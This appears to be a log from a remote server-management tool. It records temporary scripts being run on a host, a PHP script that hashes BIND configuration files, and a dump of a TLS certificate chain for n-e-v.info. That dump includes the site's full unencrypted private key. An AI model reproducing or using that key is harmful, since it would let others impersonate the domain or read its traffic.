2026-05-17 21:41:47: 

chmod 755 /tmp/pkp438591; /tmp/pkp438591; rm /tmp/pkp438591

2026-05-17 21:41:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/27a452e75854403499effc104b58be29.crt	5353
88:08:1a:b8:ee:ea:1a:c7:c0:5c:02:44:bf:8c:b5:74

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBnVJm1Yvb5kNEY18tJGSAuqVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE3MjA0MzA1WhcNMjYwODE1MjA0MzA0WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7HN6
CjEzKTaOqCnkEg+ZE9tq+fxqIJZJiL8PAMMXg+ZwmjmYaqh8oGcELw2ftruu4Oar
nlB0VMxziRErgG5uYElydL0hS8M4SL8LRaRuamEhI2NmdwmGYx+GaWV2kpaYposK
MmqXlyQSuB15+S8YiRoDJrFCH7mUJ5oM5LYt21i+uyRv6jbzWSdRDxQldWR/lE+A
lArLVvTf7jE5v8fF3zKMGBNrebmS3VEleJxe0LgiNEwsfwWXr0UBua4Rhq/6ZcHC
Zv2/hWJ3NsOrsRoK8cs+0RtmJ4xQrz8jaf1LNkTZjypi1RprIksJnN2l4JW9yw7G
9TOh/9kGPR/CBd2U5wIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLIk7rV42wjg
uFnX1vRKUGDHDpHDMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKbi1lLXYuaW5mb4IOd3d3Lm4tZS12LmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxl
bmNyLm9yZy8yMi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgCUTkOH+uzB
74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ434ys/AAAEAwBHMEUCIAa/cJ34
r/qZVRTu3b4HYxtPv7gfQeF0OUi0tWklklqTAiEAwEZTMptzQTDoXiJVNFQAbsKn
VwCet4MMy/dnLXt8LrAAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNfXiYl
7wAAAZ434y1UAAgAAAUAE93j8QQDAEgwRgIhALxfzmvuMLVJOcuEq7oCxCo/AVxI
+IF1uMoBwHXc3h9YAiEAjAPdqXdyvPI5Sv6fOz182jVhdszDpTyyMFcNUlfpJrgw
DQYJKoZIhvcNAQELBQADggEBADR4mlLYFJEwodig1JbeuISmEYbhk+Yj+Km+kRUL
AvlvwxXBJ2qqXlAiafMWWZ7e0I7voL07mcOOy99l4cIGIsALoCcdW5ldUe+SiWtF
fVfLFISA/iQ6Atgltp2H9dga8HIEO6NxkkZlU9uWFTAe49wgU2S7unFe7Sg7uw9E
4N3HQ1+awh/sC5/EU69+jV4bEhPBOhk9bBFkp9JgdLwBu1u37a5hNHvDNJwlYNYN
UKPXXTddPYHIj9oKH+IQaunx3Tvv8Uw8P4RQDkcwMaNGxJREyi7Qixox7M+QYbPJ
8aI8zCl8BKRRFLjeK6YFhLjTj/f80A7zsyWkS/DqNBSCpCA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDsc3oKMTMpNo6o
KeQSD5kT22r5/GoglkmIvw8AwxeD5nCaOZhqqHygZwQvDZ+2u67g5queUHRUzHOJ
ESuAbm5gSXJ0vSFLwzhIvwtFpG5qYSEjY2Z3CYZjH4ZpZXaSlpimiwoyapeXJBK4
HXn5LxiJGgMmsUIfuZQnmgzkti3bWL67JG/qNvNZJ1EPFCV1ZH+UT4CUCstW9N/u
MTm/x8XfMowYE2t5uZLdUSV4nF7QuCI0TCx/BZevRQG5rhGGr/plwcJm/b+FYnc2
w6uxGgrxyz7RG2YnjFCvPyNp/Us2RNmPKmLVGmsiSwmc3aXglb3LDsb1M6H/2QY9
H8IF3ZTnAgMBAAECggEAP2isVqVhCfFWimRJhEpoi7mw039MWpbS+3f5JwQqfzXC
BqnhZODwIvfdWFz38sIcILXbWiZLPB5j8WMIXnW+5dVsez/o+O9OXbvV4wQ4lBCe
GWZjqRKF1nkyy3rpNGBsaWUqA+Ev69lBp9xHxHpLwyCVrb+lcuqKf6BBSuhMHeEH
oUmlGj0jvZ5h0B3qBAMyKHnGFdgju2A5AmGiZspx6HuEujQuQLHI/dv95c6R5d4X
D8qNcgvb8KiXlqjF+992hX6VpKO1dn8TEAOc1kCXpjZ2WYXOa8d5bQoG95fby4V6
+auoYIcqTNLJoJwQXkmog1rTCCo9qmgYsQKLZGK6WQKBgQD/L2rtRzeiwJyvw6kT
qVFF1Rj3M8rPCpNb/oA4FvAkXi92z1DhClNrhV71PZ0/+5Za2PZbo2vMf4hwI1a7
Ix+iMDUADMGLjZzeoyttvFRQr+KCPqy6wrsdFkb5wTGrsnNCw7EzuWblmgUGC70V
fYHfbF4cLyWh5LrHHUBmNNi/BQKBgQDtNL8Gcov6+sYY60kg44YE1Tk1aF/kPf1/
pSHtKKXc3K9lx+FIgraT9DKEGvG5UJDNjJMMaPmuzdgnQ+uvLLr5U3AifFvH6cfR
BOFdwYl4By1DGuow9PNio4I4ds6TCm9cvxywNIsPMnaKsPVvGSdvEd0D7uTpasE2
EBRQt9UP+wKBgQCZkOCJIDWD9OOWBmomUdt96cqXYQyoYdXiI5rnpi4nxKJNnl8u
vjcLWnyVmtmZ2n5V94DyDrtdmlXyHeIgxfdQdDBA8mw63iLL/GezJwWadO4bsTnj
PjK6Q2C9Bh0tFTu1ruxhky4v9+sUA1Zrq1bPrHhJ/7lm3q3kC19o4l6ZPQKBgDsp
vsOC6nsM9T/d331+gjzOWdiCUfiBpaqiq1WVn9j4ih7evcfyIkvAyqC8f7Hy8Er0
VvDvdectnE4e2Lf2diQdtYhEcDfqjVYK25Mg5IK1d4qXOfZAAjyF/8LJjziJj8EY
QbWJRW3i7kIlZPHy2i0PzYpfmWTGpa4wUIDZeSDlAoGBAKSx1wpbvju8vfdRJMnS
zGw1viaNRXoskbafyPd71JlOvAQS5tLAapXm0z43pGhoYVJJyub1pW0sLJi6OEVK
SAR8b9NVGoljm/ivYwzbBT95DEDQYmnI4I6JZj7cZoqTdVZZhcVz2oa7bC0KyBAW
w88aCj+n6pf2kpEUY3cMD+0M
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-17 21:42:13: Establishing a connection
2026-05-17 21:42:13: 

PUT: /tmp/pkp734056

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-17 21:42:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp734056; rm /tmp/pkp734056'

2026-05-17 21:42:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
